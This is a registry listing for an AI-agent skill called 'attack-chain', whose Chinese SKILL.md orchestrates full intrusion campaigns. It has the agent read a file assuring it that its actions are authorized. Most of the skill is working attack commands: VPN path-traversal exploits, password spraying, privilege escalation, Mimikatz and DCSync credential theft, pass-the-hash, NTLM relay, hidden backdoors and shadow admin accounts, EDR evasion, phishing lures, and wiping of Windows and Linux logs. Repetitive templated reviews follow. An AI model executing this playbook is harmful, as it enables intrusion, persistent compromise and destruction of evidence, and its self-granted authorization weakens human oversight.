Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill.
Run in your terminal
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionattack-chainExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills install zhaoxuya520/reverse-skill/skills/attack-chainFetches attack-chain from zhaoxuya520/reverse-skill and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate attack-chain. Access via /attack-chainin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Package manager
npx skills install zhaoxuya520/reverse-skill/skills/attack-chainWorks with
0
total installs
0
this week
10.9K
GitHub stars
0
upvotes
| name | attack-chain |
| description | Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill. |
NOW: 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作NOW: 创建/更新 case(../scripts/case-init.ps1)并完成 scope.md(../ops/scope-contract.md);auth.status!=granted 禁止 ACTNOW: 以 lead 角色规划阶段(../ops/role-map.md),写入 specialist_rolesNEXT: 读取 ../tool-index.md,校验工具可用性和实际路径NEXT: 缺工具时调用 bootstrap,不要猜路径ACT: 按 references/lifecycle-checklist.md 过阶段门闩;每阶段更新 timeline.md + workitems.md(../ops/timeline-workitem.md);发现提升为 Evidence/Findingdocs-generator 报告必须含 Evidence 链多阶段攻击路径规划与执行的总指挥。当任务需要"从 A 打到 B"的完整链路时,本 Skill 负责编排各阶段、协调子 Skill、规划攻击路径。 不是"红队专属"——任何需要跨阶段组合的渗透场景都从这里开始。
以下场景必须先经过本 Skill 做全链路规划,再分发到具体子 Skill 执行:
| 场景 | 为什么需要编排 |
|---|---|
| "帮我做一次完整的渗透测试" | 需要规划从信息收集到报告的全流程 |
| "从外网打到域控" | 跨越边界突破→提权→横向→AD 多个阶段 |
| "HW 攻防演练" | 需要完整攻击链 + 隐蔽性 + 痕迹清理 |
| "评估这个目标的攻击面" | 需要多维度信息收集 + 路径规划 |
| "我拿到了一个 webshell,下一步怎么办" | 需要从当前据点规划后续路径 |
| "帮我规划攻击路径" | 明确需要路径编排 |
| "从这个漏洞能打到什么程度" | 需要评估漏洞的链式利用价值 |
| "Bug Bounty 持续监控" | 需要自动化多阶段流程 |
| "内网渗透全流程" | 横向移动 + 提权 + 域攻击组合 |
| "近源渗透方案" | 物理接入 + 内网渗透组合 |
| "供应链攻击路径" | 跨组织多跳攻击 |
| "钓鱼 + 后渗透" | 初始访问 + 后续利用组合 |
单阶段任务不需要经过本 Skill:
pentest-tools/pentest-tools/apk-reverse/pentest-tools/references/network-attack-defense.md用户提出多阶段任务
↓
attack-chain/SKILL.md(本文件)
↓ 规划攻击路径、确定阶段顺序
↓ 评估每阶段所需工具和方法
↓
分发到具体子 Skill 执行:
├── pentest-tools/ → 工具调用、漏洞利用
├── apk-reverse/ → 移动端渗透
├── js-reverse/ → Web 前端突破
├── reverse-engineering/ → 二进制分析
├── ida-reverse/ → 深度逆向
└── browser-automation/ → 自动化操作
↓
每阶段完成后回到本 Skill 评估下一步
↓
全部完成 → docs-generator 生成报告
拿到目标后:
1. 目标是什么?(Web/内网/云/移动/IoT)
2. 当前有什么?(外部视角/已有凭据/已有据点)
3. 最终目标是什么?(域控/数据/特定系统/证明影响)
4. 约束条件?(时间/隐蔽性/不可触碰的系统)
↓
根据以上信息规划最短路径
↓
一条路走不通 → 回到本 Skill 重新规划备选路径
# 子公司关联域名发现
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# 合并去重
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# 存活探测
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# 端口扫描(全端口)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
实战要点:
# GitHub 搜索
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# JS 文件中的 API Key
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
高价值目标:
社工字典生成规则:
{姓名拼音}{年份} → zhangsan2024
{姓名首字母}{部门缩写} → zs_dev
{工号}@{域名} → [email protected]
{姓名}{常见后缀} → zhangsan@123, zhangsan!@#
信息来源:
# Web 指纹
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# 特定框架探测
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS 识别
wpscan --url https://target.com --enumerate p,t,u
| 漏洞类型 | 检测工具 | 利用方式 |
|---|---|---|
| SQL 注入 | sqlmap | 数据提取 → 写 shell → OS 命令 |
| SSTI | sstimap | 模板注入 → RCE |
| 文件上传 | 手工 + Burp | Webshell → 反弹 shell |
| 反序列化 | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | 手工 | 内网探测 → 云元数据 → AK/SK |
| 未授权访问 | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | 管理员会话劫持 |
# SQL 注入自动化
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI 检测
sstimap -u "https://target.com/search?q=test"
# Nuclei 批量扫描
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
攻击路径:
常见入口:
邮件钓鱼:
主题模板:
- [紧急] VPN 证书即将过期,请立即更新
- [IT通知] 邮箱存储空间不足,请清理
- [HR] 2024年度绩效考核结果查询
- [财务] 报销系统升级,请重新登录确认
载荷类型:
OAuth 钓鱼(2025 新趋势):
| 手法 | 工具 | 效果 |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | 键盘注入 → 反弹 shell |
| 恶意充电宝 | O.MG Cable | 伪装数据线植入后门 |
| WiFi 钓鱼 | Fluxion / WiFi Pineapple | 伪造热点 → 凭据捕获 |
| RFID 克隆 | Proxmark3 | 门禁卡复制 → 物理进入 |
| 网络植入 | Raspberry Pi / LAN Turtle | 内网持久接入点 |
# Fluxion WiFi 钓鱼
fluxion # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码
# BadUSB 联动 Cobalt Strike
# 通过 USB 注入 PowerShell 下载器 → 上线 C2
# Pulse Secure VPN(CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN(CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# 通用:密码喷洒
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
# AWS S3 桶枚举
aws s3 ls s3://target-bucket --no-sign-request
# 云元数据 SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD 密码喷洒
# 使用 MSOLSpray / Spray 工具
| 技术 | 条件 | 工具 |
|---|---|---|
| Potato 系列 | SeImpersonate 权限 | SweetPotato / GodPotato / PrintSpoofer |
| 内核漏洞 | 未打补丁 | watson / wesng 检测 |
| 服务路径劫持 | 不带引号的服务路径 | PowerUp |
| DLL 劫持 | 可写 DLL 搜索路径 | Process Monitor |
| AlwaysInstallElevated | 注册表配置 | msiexec 安装恶意 MSI |
| 计划任务 | 可写任务脚本 | schtasks 替换 |
# 检测 SeImpersonate
whoami /priv | findstr "SeImpersonate"
# Potato 提权
.\GodPotato.exe -cmd "cmd /c whoami"
# 自动化检测
.\winPEAS.exe
# SUID 检测
find / -perm -4000 -type f 2>/dev/null
# sudo 滥用
sudo -l
# 常见可利用:vim, find, python, nmap, less, awk, perl
# sudo vim 提权
sudo vim -c ':!/bin/bash'
# sudo find 提权
sudo find / -exec /bin/bash \;
# 内核漏洞
uname -r # 检查版本
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# 自动化检测
./linpeas.sh
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF 提权
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
# AWS IAM 枚举
aws iam list-attached-user-policies --user-name compromised-user
# 寻找 iam:PassRole + lambda:CreateFunction → 管理员权限
# Azure AD
# 全局管理员 → 所有订阅控制
# 应用管理员 → 添加凭据到服务主体
# Mimikatz(Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux 凭据
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM Hash 提取
secretsdump.py domain/user:password@dc_ip
# PTH 横向
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# 金票据
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
# WMI 无文件执行
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM 远程执行
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec(会留痕)
psexec.py domain/admin:password@target_ip
# SSH 隧道(Linux 环境)
ssh -D 1080 user@pivot_host # SOCKS 代理
ssh -L 3389:internal_host:3389 user@pivot_host # 端口转发
# 关闭 Responder 的 SMB/HTTP
# 编辑 Responder.conf: SMB = Off, HTTP = Off
# 启动 Responder 捕获
responder -I eth0
# NTLM Relay 到目标
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer 强制认证
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
# BloodHound 数据收集
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# 常见攻击路径:
# 1. 用户 → GenericAll → 目标用户 → 重置密码
# 2. 用户 → WriteDacl → 目标 OU → 添加权限
# 3. 计算机 → 约束委派 → 模拟任意用户
# 4. 用户 → DCSync 权限 → 导出所有 Hash
# Certipy AD CS 攻击
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
| 技术 | 隐蔽性 | 检测难度 |
|---|---|---|
| 计划任务 | 中 | 低 |
| 注册表 Run 键 | 低 | 低 |
| WMI 事件订阅 | 高 | 高 |
| DLL 劫持 | 高 | 中 |
| 影子账户 | 中 | 中 |
| Golden Ticket | 极高 | 极高 |
| DSRM 后门 | 极高 | 极高 |
# WMI 事件订阅(高隐蔽)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# 影子账户
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# 修改注册表 F 值克隆 RID
# SSH 密钥植入
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab 后门
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD 劫持
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM 后门
# 修改 pam_unix.so 添加万能密码
# Systemd 服务
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
# AWS Lambda 后门
# 创建定时触发的 Lambda 函数,回连 C2
# Azure AD 应用注册
# 创建应用 → 添加密钥凭据 → 授予 Graph API 权限
# 容器后门
# 修改基础镜像 → 所有新容器自带后门
| 层面 | 技术 | 说明 |
|---|---|---|
| 静态检测 | 加密/混淆/自定义加载器 | 避免签名匹配 |
| 行为检测 | 间接系统调用/Unhooking | 绕过 API Hook |
| 内存检测 | 模块踩踏/堆加密 | 避免内存扫描 |
| 网络检测 | 域前置/合法服务隧道 | 混入正常流量 |
| 日志检测 | ETW Patching/日志清除 | 减少痕迹 |
1. Shellcode 加载器自定义(不用公开工具)
2. 系统调用直接调用(绕过 ntdll hook)
3. 进程注入选择低监控进程(如 RuntimeBroker.exe)
4. C2 流量走 HTTPS + 域前置 / Cloudflare Workers
5. 内存中执行,不落盘(Fileless)
6. 利用合法签名程序加载(LOLBins)
| 框架 | 特点 | 适用场景 |
|---|---|---|
| Cobalt Strike | 成熟稳定,团队协作 | 大型红队行动 |
| Sliver | 开源,Go 编写 | 预算有限 |
| Havoc | 现代化,模块化 | 需要定制 |
| Mythic | 多 agent 支持 | 跨平台 |
| AdaptixC2 | Kali 2026.1 收录 | 快速部署 |
# Windows 日志清除
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux 日志清除
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# 时间戳修改
touch -t 202301010000 /path/to/file
# 内存清理
# 确保 Mimikatz dump 已删除
# 确保 C2 beacon 已退出
# 确保临时文件已清除
| 失败原因 | 后果 | 教训 |
|---|---|---|
| 未清除 Mimikatz 内存 dump | 蓝队溯源完整攻击路径 | 操作后立即清理 |
| C2 域名被威胁情报标记 | 首次连接即被拦截 | 使用新注册域名 + 域前置 |
| 钓鱼邮件触发 DLP 告警 | 蓝队提前预警 | 测试邮件网关规则 |
| 横向移动触发蜜罐 | 暴露攻击意图 | 先识别蜜罐再行动 |
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
nuclei sqlmap sstimap xsstrike burpsuite metasploit
winPEAS linpeas GodPotato PrintSpoofer watson
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
cobalt-strike sliver havoc mythic adaptixc2
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
| 需求 | 路由到 |
|---|---|
| Web 漏洞深度利用 | pentest-tools/SKILL.md |
| 内网 AD 攻击详细步骤 | pentest-tools/references/network-attack-defense.md |
| 逆向分析恶意样本 | reverse-engineering/SKILL.md |
| APK 逆向(移动端渗透) | apk-reverse/SKILL.md |
| JS 前端签名绕过 | js-reverse/SKILL.md |
| 自动化群体渗透 | Pentest Swarm AI(pentestswarm scan --swarm) |
| AI 辅助渗透 | mcp-kali-server / metasploitmcp / hexstrike-ai |
| 报告生成 | docs-generator/SKILL.md |
| 攻击路径图 | diagram-generator/SKILL.md |
tool-index 使用了真实工具路径?Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
attack-chain fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
I recommend attack-chain for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Useful defaults in attack-chain — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
attack-chain reduced setup friction for our internal harness; good balance of opinion and flexibility.
attack-chain is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
attack-chain reduced setup friction for our internal harness; good balance of opinion and flexibility.
Registry listing for attack-chain matched our evaluation — installs cleanly and behaves as described in the markdown.
I recommend attack-chain for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Solid pick for teams standardizing on skills: attack-chain is focused, and the summary matches what you get after install.
attack-chain has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 58